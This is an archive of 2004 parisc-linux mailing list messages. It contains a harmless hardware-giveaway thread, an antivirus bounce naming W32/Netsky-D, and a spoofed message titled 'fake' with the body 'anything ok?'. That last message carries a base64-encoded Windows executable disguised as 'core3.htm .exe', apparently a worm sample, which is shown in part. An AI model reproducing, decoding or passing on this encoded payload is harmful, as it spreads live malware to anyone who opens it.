--=.ZLg)3cpGtHoZOc
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

Hi,

How much would be the shipping to Belgium for one or two bay ?

Thanks in advance


On Wed, 17 Mar 2004 13:02:00 -0500
Jesse Dougherty <jesse@cypress-tech.com> wrote:

> I still have several of these arrays (free) if anyone want some.
> 
> We are moving locations and need to clean out some hardware in our
> warehouse. We have about 40 of these A3312A rack-mount " High
> Availability Jamaica arrays taking up space and we really don't want
> to trash them. If anyone wants any, we are giving them away, I only
> ask that you pay for
> shipping out of Tampa (33762). They are good storage arrays that work
> in MPE/iX, HP-UX, & Windows/NT environment, we have the racking
> hardware and both fans and power supplies are included. They take
> either FWD or SE drives and the capacity is 8 low profile drives. If
> your interested in getting one of these arrays or if you want some
> additional specifications
> of the A3312A sent to you, feel free to contact me.
> 
> Thanks
> Jesse
> Cypress Technology Inc
> Re-Sellers of HP hardware
> Jesse@cypress-tech.com
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


-- 
Guy Martin
Gentoo Linux - HPPA port Lead / IPv6 team
Lug Charleroi (Belgium)

--=.ZLg)3cpGtHoZOc
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAWJWlrpShrnoH4YYRAt5iAKCiAxkEiSLGcHXApKRu71bkpVY9eQCeJh5x
jQu2Bqy9tlzh6AWXlLpQSJ4=
=c9DO
-----END PGP SIGNATURE-----

--=.ZLg)3cpGtHoZOc--


From - Thu Nov 08 21:31:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: postmaster@anr.mcnc.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] VIRUS IN YOUR MAIL
Date: Thu, 18 Mar 2004 01:32:00 -0500 (EST)
Lines: 40
Approved: news@gmane.org
Message-ID: <20040318063200.DCD7A2003A1@picard.anr.mcnc.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623281 6977 80.91.229.3 (22 Nov 2014 02:28:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: postmaster@anr.mcnc.org  Wed Mar 17 23:32:19 2004
Return-Path: <postmaster@anr.mcnc.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from picard.anr.mcnc.org (picard.anr.mcnc.org [152.45.4.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B253484B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Mar 2004 23:32:19 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by picard.anr.mcnc.org (Postfix) with ESMTP id A170D2003A0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Mar 2004 01:32:08 -0500 (EST)
Original-Received: by picard.anr.mcnc.org (Postfix, from userid 16)
	id DCD7A2003A1; Thu, 18 Mar 2004 01:32:00 -0500 (EST)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on picard.anr.mcnc.org
X-Spam-Status: No, hits=-4.7 required=5.0 tests=AWL,BAYES_00,NO_REAL_NAME 
	autolearn=no version=2.63
X-Spam-Level: 
X-Virus-Scanned: by AMaViS 0.3.12
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Mar 2004 06:32:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21122

                           V I R U S  A L E R T

Our viruschecker found the

	'W32/Netsky-D'

virus in your email to the following recipient:

-> ibaldin@anr.mcnc.org

Delivery of the email was stopped!

Please check your system for viruses,
or ask your system administrator to do so.


For your reference, here are the SMTP envelope originator
and headers from your email:

>From parisc-linux@lists.parisc-linux.org
------------------------- BEGIN HEADERS -----------------------------
Received: from localhost by picard.anr.mcnc.org
	with SpamAssassin (2.63 2004-01-11);
	Thu, 18 Mar 2004 01:31:53 -0500
From: parisc-linux@lists.parisc-linux.org
To: ibaldin@anr.mcnc.org
Subject: *****SPAM***** Re: Hello
Date: Thu, 18 Mar 2004 12:02:32 +0530
Message-Id: <20040318063140.89AC82003A0@picard.anr.mcnc.org>
X-Spam-Flag: YES
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on picard.anr.mcnc.org
X-Spam-Status: Yes, hits=6.1 required=5.0 tests=BAYES_44,MICROSOFT_EXECUTABLE,
	MISSING_MIMEOLE,MSGID_FROM_MTA_SHORT,NO_REAL_NAME,PRIORITY_NO_NAME 
	autolearn=no version=2.63
X-Spam-Level: ******
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----------=_40594259.3858AFA1"
-------------------------- END HEADERS ------------------------------



From - Thu Nov 08 21:31:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pdbeal@louisville.edu
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] fake
Followup-To: gmane.linux.ports.hppa
Date: Thu, 18 Mar 2004 01:04:37 -0700 (MST)
Lines: 933
Approved: news@gmane.org
Message-ID: <20040318080437.AD755484B@dsl2.external.hp.com>
Reply-To: parisc-linux@parisc-linux.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="----------PTtNFKjIjLveuhSk"
X-Trace: ger.gmane.org 1416623282 6979 80.91.229.3 (22 Nov 2014 02:28:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:02 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: pdbeal@louisville.edu  Thu Mar 18 01:04:44 2004
Return-Path: <pdbeal@louisville.edu>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from localhost (unknown [213.225.42.208])
	by dsl2.external.hp.com (Postfix) with SMTP id AD755484B
	for <parisc-linux@parisc-linux.org>;
	Thu, 18 Mar 2004 01:04:37 -0700 (MST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Mar 2004 08:04:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21123

------------PTtNFKjIjLveuhSk
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

anything ok?

------------PTtNFKjIjLveuhSk
Content-Type: application/octet-stream; name="core3.htm .exe"
Content-transfer-encoding: base64
Content-Disposition: attachment; filename="core3.htm .exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAAuaJWIagn722oJ+9tqCfvb
kCri22gJ+9t5AabbaAn722oJ+tsOCfvb6QGm220J+9s1K/Dbbwn724IW/ttrCfvb
bwWf22EJ+9uGAqXbawn7228FodtrCfvbUmljaGoJ+9sAAAAAAAAAAAAAAAAAAAAA
UEUAAEwBAwDM7Nw8AAAAAAAAAADgAA8BCwEFAABQAAAAIAAAALAAAEAHAQAAwAAA
ABABAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAMAEAABAAAAAAAAACAAAA
AAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAACkIwEAPAEAAAAQAQCkEwAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAABBdXRvQwAAAACwAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACAAADg
Li4uLgAAAAAAUAAAAMAAAABKAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAA
ACAAAAAQAQAAFgAAAE4AAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
